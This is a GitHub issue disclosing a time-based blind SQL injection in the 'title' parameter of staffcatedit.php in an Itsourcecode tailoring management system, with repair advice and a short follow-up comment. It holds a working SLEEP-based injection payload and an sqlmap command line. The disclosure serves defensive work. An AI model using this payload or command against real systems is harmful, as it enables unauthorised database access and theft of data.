t4rrega / cve

0 stars 0 forks source link

Itsourcecode Tailoring Management System Project In PHP With Source Code v1.0 staffcatedit.php SQL injection #6

Open t4rrega opened 2 months ago

t4rrega commented 2 months ago

Itsourcecode Tailoring Management System Project In PHP With Source Code v1.0 staffcatedit.php SQL injection

NAME OF AFFECTED PRODUCT(S)

Impact

title=1231

## Vulnerability type: 
+ time-based blind

## Vulnerability location:
+ 'title' parameter 
## Payload: 

Parameter: title (POST) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: title=1231' AND (SELECT 8494 FROM (SELECT(SLEEP(5)))ohzR) AND 'rSZL'='rSZL

<img width="367" alt="2" src="https://github.com/user-attachments/assets/1e75bf53-07df-4cc7-8195-d2b321fe9f08">

## The following are screenshots of some specific information obtained from testing and running with the sqlmap tool:
```bash
sqlmap -r 123 --batch --dbs
3

Suggested repair

  1. Use prepared statements and parameter binding: Preparing statements can prevent SQL injection as they separate SQL code from user input data. When using prepare statements, the value entered by the user is treated as pure data and will not be interpreted as SQL code.

  2. Input validation and filtering: Strictly validate and filter user input data to ensure it conforms to the expected format.

  3. Minimize database user permissions: Ensure that the account used to connect to the database has the minimum necessary permissions. Avoid using accounts with advanced permissions (such as' root 'or' admin ') for daily operations.

  4. Regular security audits: Regularly conduct code and system security audits to promptly identify and fix potential security vulnerabilities.

j4nk3 commented 2 months ago

Thank you for the vulnerability you discovered. Together we are building a safer world. I wrote a special Extended PoC code (detection and exploitation advice) for this vulnerability, so you can quickly detect this vulnerability on large networks. I hope it will be useful!